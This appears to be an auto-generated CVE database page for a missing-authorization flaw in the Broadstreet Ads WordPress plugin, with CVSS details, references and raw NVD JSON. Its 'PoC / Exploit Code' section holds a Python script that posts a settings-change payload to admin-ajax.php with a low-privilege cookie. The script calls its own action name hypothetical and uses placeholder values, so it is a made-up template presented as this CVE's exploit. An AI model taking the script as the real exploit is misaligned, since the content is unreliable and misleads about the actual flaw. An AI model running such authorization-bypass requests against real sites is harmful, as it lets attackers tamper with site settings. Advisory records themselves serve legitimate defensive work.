CVE-2026-45210

Description

Missing Authorization vulnerability in Broadstreet Broadstreet Ads broadstreet allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Broadstreet Ads: from n/a through <= 1.52.2.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Broadstreet Ads <= 1.52.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Broadstreet Ads < 1.52.2 - Missing Authorization PoC
# Date: 2026-05-12
# Exploit Author: Analyst
# Vendor Homepage: https://broadstreetads.com

# Configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
attacker_cookies = {
    "wordpress_logged_in_xxx": "low_privilege_user_session"
}

# Vulnerable payload attempting to modify settings without admin rights
payload = {
    "action": "broadstreet_action", # Hypothetical vulnerable action
    "params": "{\"setting\": \"malicious_value\"}"
}

try:
    response = requests.post(target_url, data=payload, cookies=attacker_cookies, timeout=10)
    
    if response.status_code == 200 and "success" in response.text:
        print("[+] Exploit successful! Authorization bypassed.")
    else:
        print("[-] Exploit failed or patch applied.")
        
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45210
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45210
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45210/
[4] VulDB https://vuldb.com/cve/CVE-2026-45210
[5] https://patchstack.com/database/Wordpress/Plugin/broadstreet/vulnerability/wordpress-broadstreet-ads-plugin-1-52-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45210", "sourceIdentifier": "[email protected]", "published": "2026-05-12T11:16:20.357", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Broadstreet Broadstreet Ads broadstreet allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Broadstreet Ads: from n/a through <= 1.52.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/broadstreet/vulnerability/wordpress-broadstreet-ads-plugin-1-52-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}